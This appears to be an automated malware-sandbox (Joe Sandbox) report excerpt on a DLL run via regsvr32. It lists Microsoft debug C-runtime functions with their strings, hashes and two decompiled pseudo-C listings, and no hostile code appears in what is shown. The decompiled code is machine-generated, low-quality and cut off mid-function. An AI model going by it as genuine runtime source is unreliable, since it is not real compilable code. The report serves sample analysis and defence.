Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D341BE
csm, xrefs: 000007FEF9D3429D
csm, xrefs: 000007FEF9D343A0

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction ID: b93d13205fcb5bf4744c4f5868d42f2397ba004b3dd065f5f3bbc86f0087c528
Opcode Fuzzy Hash: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction Fuzzy Hash: C412D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction ID: fa666a0989dbdcd631dba14fdf712f3fd1171dc1b338b0fed7bc0ada6eb2a45d
Opcode Fuzzy Hash: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction Fuzzy Hash: 8B024A72A0D7C28AE7B09B24E8447BEB7E4F384345F604126D6CC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88
_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction ID: dd73616ddae2cae72d7b30165dff30affe8ff5e8ed842a8499c58fb9266416ee
Opcode Fuzzy Hash: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction Fuzzy Hash: FAD11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

", xrefs: 000007FEF9D3B496
sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C
", xrefs: 000007FEF9D3B2E1
("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction ID: 7076a95ac8019ae0c7cbf4bc144243c7f76c7d2257b38824bc8c592ccc79079f
Opcode Fuzzy Hash: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction Fuzzy Hash: 33C10932A0D68286E7B09B54E8547BEB7E0F784744F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction ID: de6734cae50e00c17b19ae97f10413d83fe6e5a887ca475c0331002d176214a7
Opcode Fuzzy Hash: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction Fuzzy Hash: 66D10972A0DA828AE7B09F64E8447AFB6E0F384349F604125D6CD47AE8DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

9, xrefs: 000007FEF9D3C98F
-, xrefs: 000007FEF9D3CA54
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction ID: a9c1e15515d35d7cf033a694107a1be22a212de4b62ef600bdbf999f0f55ea8a
Opcode Fuzzy Hash: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction Fuzzy Hash: 7202ED7260DBC586E7B1CB25E8857AEB7E4F384795F200125EACD86AA8DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667
P, xrefs: 000007FEF9D36912
(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3
_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
", xrefs: 000007FEF9D368ED

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction ID: 92bf99913cb81df5d7f4b76c0ee557dab353d6c18ff2e6375d0d5446e39197ae
Opcode Fuzzy Hash: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction Fuzzy Hash: 8DE10C31A0DBC685E7B09B14E8457AEA3E0F384754FA04626D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
